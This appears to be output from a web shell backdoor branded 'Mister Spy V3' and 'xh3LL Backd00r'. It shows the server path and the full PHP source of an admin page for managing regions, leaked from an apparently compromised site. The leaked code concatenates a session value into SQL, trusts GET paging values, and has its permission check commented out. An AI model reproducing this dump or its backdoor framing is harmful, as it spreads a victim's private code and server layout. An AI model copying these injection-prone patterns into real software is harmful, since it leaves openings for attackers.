Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/regiones.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 


$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];
	

$maxRows_rsRegiones = 20;
$pageNum_rsRegiones = 0;
if (isset($_GET['pageNum_rsRegiones'])) {
  $pageNum_rsRegiones = $_GET['pageNum_rsRegiones'];
}
$startRow_rsRegiones = $pageNum_rsRegiones * $maxRows_rsRegiones;

mysql_select_db($database_cnx, $cnx);
$query_rsRegiones = "SELECT * FROM regiones ORDER BY regionID ASC";
$query_limit_rsRegiones = sprintf("%s LIMIT %d, %d", $query_rsRegiones, $startRow_rsRegiones, $maxRows_rsRegiones);
$rsRegiones = mysql_query($query_limit_rsRegiones, $cnx) or die(mysql_error());
$row_rsRegiones = mysql_fetch_assoc($rsRegiones); 

if (isset($_GET['totalRows_rsRegiones'])) {
  $totalRows_rsRegiones = $_GET['totalRows_rsRegiones'];
} else {
  $all_rsRegiones = mysql_query($query_rsRegiones);
  $totalRows_rsRegiones = mysql_num_rows($all_rsRegiones);
}
$totalPages_rsRegiones = ceil($totalRows_rsRegiones/$maxRows_rsRegiones)-1;

$queryString_rsRegiones = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsRegiones") == false && 
        stristr($param, "totalRows_rsRegiones") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsRegiones = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsRegiones = sprintf("&totalRows_rsRegiones=%d%s", $totalRows_rsRegiones, $queryString_rsRegiones);


$modulo="geografia";
$nivel=$_SESSION['MM_Group'];
$sql="SELECT * FROM `niveles_permisos` WHERE `nivel` =".$nivel." AND `modulo` = '".$modulo."'";
$qry=mysql_query($sql);
$row=mysql_fetch_array($qry);
/*if($row['ver']==0){
require("cartel_permisos.php");exit;
}*/

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
  <tr>
    <td width="10" class="TituloRubro">&nbsp;</td>
    <td class="TituloRubro">&nbsp;</td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td><p class="tituloPagina">REGIONES</p></td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="0" align="right">&nbsp;</td>
    <td height="0" align="right">&nbsp;</td>
  </tr>
  <tr>
    <td height="25" align="right"><a href="provincias_add.php"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" /></a></td>
    <td width="50" align="right"><div align="center"><a href="regiones_add.php">Agregar</a></div></td>
  </tr>
</table>

	<?php if($totalRows_rsRegiones > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>
	  <tr>
		<td height="20" align="right" valign="top">&nbsp;
	Registros <?php echo ($startRow_rsRegiones + 1) ?> a <?php echo min($startRow_rsRegiones + $maxRows_rsRegiones, $totalRows_rsRegiones) ?> de <?php echo $totalRows_rsRegiones ?> </td>
	  </tr>
</table>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
		<td height="25"><strong>&nbsp;&nbsp;Regi&oacute;n</strong></td>
		<td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
		<td height="20">&nbsp;&nbsp;&nbsp;<?php echo $row_rsRegiones['region']; ?></td>
		<td width="100" height="20" align="center">
		<?		 if($row['modificacion']==1){?>	
		<a href="#"></a><a href="regiones_mod.php?<?=$qry_string?>&regionID=<?php echo $row_rsRegiones['regionID']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
						<?		 if($row['baja']==1){?>		
		<a href="regiones_del.php?<?=$qry_string?>&regionID=<?php echo $row_rsRegiones['regionID']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
		</td>
	  
		</tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="2" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
      </tr>
	  <?php } while ($row_rsRegiones = mysql_fetch_assoc($rsRegiones)); ?>
</table>
	<table border="0" width="25%" align="center">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsRegiones > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsRegiones=%d%s", $currentPage, 0, $queryString_rsRegiones); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsRegiones > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsRegiones=%d%s", $currentPage, max(0, $pageNum_rsRegiones - 1), $queryString_rsRegiones); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsRegiones < $totalPages_rsRegiones) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsRegiones=%d%s", $currentPage, min($totalPages_rsRegiones, $pageNum_rsRegiones + 1), $queryString_rsRegiones); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsRegiones < $totalPages_rsRegiones) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsRegiones=%d%s", $currentPage, $totalPages_rsRegiones, $queryString_rsRegiones); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsRegiones==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay regiones disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsRegiones);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat